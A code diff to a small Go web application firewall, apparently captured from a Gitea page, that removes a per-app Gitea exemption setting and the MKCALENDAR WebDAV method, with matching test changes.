"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
)
|
)
|
||||||
@@ -22,7 +21,6 @@ const (
|
|||||||
wafDisabledRules = "SWW_WAF_DISABLED_RULES"
|
wafDisabledRules = "SWW_WAF_DISABLED_RULES"
|
||||||
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
|
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
|
||||||
wafBodyLimit = "SWW_WAF_BODY_LIMIT"
|
wafBodyLimit = "SWW_WAF_BODY_LIMIT"
|
||||||
apps = "SWW_APPS"
|
|
||||||
block = "block"
|
block = "block"
|
||||||
detect = "detect"
|
detect = "detect"
|
||||||
)
|
)
|
||||||
@@ -292,27 +290,6 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestGiteasFixesApplyOnlyToAHostnameThatServesGitea(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
// Only gitea's fixes let a file name through in path, a parameter
|
|
||||||
// gitea sends file names in.
|
|
||||||
const fileName = "/?path=.gitignore"
|
|
||||||
|
|
||||||
s := startDiscriminator(t, "", map[string]string{
|
|
||||||
wafMode: block, apps: siteA + ":gitea",
|
|
||||||
})
|
|
||||||
|
|
||||||
wantDisposition(t, do(t, s.question(siteA, client, fileName)),
|
|
||||||
http.StatusOK, discriminator.DispositionAllow)
|
|
||||||
wantDisposition(t, do(t, s.question(siteB, client, fileName)),
|
|
||||||
http.StatusForbidden, discriminator.DispositionDeny)
|
|
||||||
|
|
||||||
lines := s.out.requestLines(t, 2)
|
|
||||||
wantLine(t, lines[0], http.StatusOK, requestlog.ActionForward)
|
|
||||||
wantLine(t, lines[1], http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
|
func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
|
|||||||
@@ -221,8 +221,7 @@ func newReputation(
|
|||||||
// NewCoreRuleSet returns the Core Rule Set at SWW_WAF_PARANOIA_LEVEL,
|
// NewCoreRuleSet returns the Core Rule Set at SWW_WAF_PARANOIA_LEVEL,
|
||||||
// without the rules SWW_WAF_DISABLED_RULES switches off, reading bodies
|
// without the rules SWW_WAF_DISABLED_RULES switches off, reading bodies
|
||||||
// up to SWW_WAF_BODY_LIMIT, with the exclusions in
|
// up to SWW_WAF_BODY_LIMIT, with the exclusions in
|
||||||
// SWW_CORE_RULE_SET_EXCLUSIONS_FILE and the fixes of the apps in SWW_APPS,
|
// SWW_CORE_RULE_SET_EXCLUSIONS_FILE, or nil while SWW_WAF_MODE is off. It
|
||||||
// or nil while SWW_WAF_MODE is off. It
|
|
||||||
// reads at most QuestionBodyMaxBytes less one byte: a question's body of
|
// reads at most QuestionBodyMaxBytes less one byte: a question's body of
|
||||||
// QuestionBodyMaxBytes may be cut short, and the Core Rule Set does not read a
|
// QuestionBodyMaxBytes may be cut short, and the Core Rule Set does not read a
|
||||||
// JSON or XML body over its limit. An exclusions file that coreruleset.New refuses is
|
// JSON or XML body over its limit. An exclusions file that coreruleset.New refuses is
|
||||||
@@ -237,7 +236,6 @@ func NewCoreRuleSet(cfg *config.Config) (*coreruleset.CoreRuleSet, error) {
|
|||||||
ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules,
|
ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules,
|
||||||
BodyLimit: min(cfg.WAFBodyLimit, QuestionBodyMaxBytes-1),
|
BodyLimit: min(cfg.WAFBodyLimit, QuestionBodyMaxBytes-1),
|
||||||
ExclusionsFile: cfg.CoreRuleSetExclusionsFile,
|
ExclusionsFile: cfg.CoreRuleSetExclusionsFile,
|
||||||
Apps: cfg.Apps,
|
|
||||||
})
|
})
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("SWW_CORE_RULE_SET_EXCLUSIONS_FILE: %w", err)
|
return nil, fmt.Errorf("SWW_CORE_RULE_SET_EXCLUSIONS_FILE: %w", err)
|
||||||
|
|||||||
@@ -331,7 +331,7 @@ func TestAQuestionCarriesItsBodyWhateverTheMethod(t *testing.T) {
|
|||||||
func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
|
func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for _, method := range []string{http.MethodTrace, "BREW"} {
|
for _, method := range []string{http.MethodTrace, "MKCALENDAR", "BREW"} {
|
||||||
t.Run(method, func(t *testing.T) {
|
t.Run(method, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -344,8 +344,7 @@ func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
|
|||||||
got := visit(t, newRequest(t, method, addr, "/", http.NoBody))
|
got := visit(t, newRequest(t, method, addr, "/", http.NoBody))
|
||||||
if got.status != http.StatusMethodNotAllowed ||
|
if got.status != http.StatusMethodNotAllowed ||
|
||||||
got.header.Get("Allow") != "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY, "+
|
got.header.Get("Allow") != "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY, "+
|
||||||
"PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK, UNLOCK, "+
|
"PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK, UNLOCK" {
|
||||||
"MKCALENDAR" {
|
|
||||||
t.Errorf("answered %+v, want 405 naming the methods passed on", got)
|
t.Errorf("answered %+v, want 405 naming the methods passed on", got)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -371,7 +370,7 @@ func TestEachMethodPassedOnReachesDiscriminatorAndTheApp(t *testing.T) {
|
|||||||
http.MethodGet, http.MethodHead, http.MethodPost, http.MethodOptions,
|
http.MethodGet, http.MethodHead, http.MethodPost, http.MethodOptions,
|
||||||
http.MethodPut, http.MethodDelete, http.MethodPatch, "QUERY",
|
http.MethodPut, http.MethodDelete, http.MethodPatch, "QUERY",
|
||||||
"PROPFIND", "PROPPATCH", "MKCOL", "COPY", "MOVE", "REPORT", "SEARCH",
|
"PROPFIND", "PROPPATCH", "MKCOL", "COPY", "MOVE", "REPORT", "SEARCH",
|
||||||
"LOCK", "UNLOCK", "MKCALENDAR",
|
"LOCK", "UNLOCK",
|
||||||
} {
|
} {
|
||||||
t.Run(method, func(t *testing.T) {
|
t.Run(method, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|||||||
@@ -53,7 +53,7 @@ const ownEndpointPrefix = "/_sww/"
|
|||||||
// them. It answers any other method 405 itself.
|
// them. It answers any other method 405 itself.
|
||||||
// The WebDAV ones are for Nextcloud.
|
// The WebDAV ones are for Nextcloud.
|
||||||
const allowedMethods = "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY, " +
|
const allowedMethods = "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY, " +
|
||||||
"PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK, UNLOCK, MKCALENDAR"
|
"PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK, UNLOCK"
|
||||||
|
|
||||||
// Params are what New needs.
|
// Params are what New needs.
|
||||||
type Params struct {
|
type Params struct {
|
||||||
|
|||||||
Reference in new issue
Block a user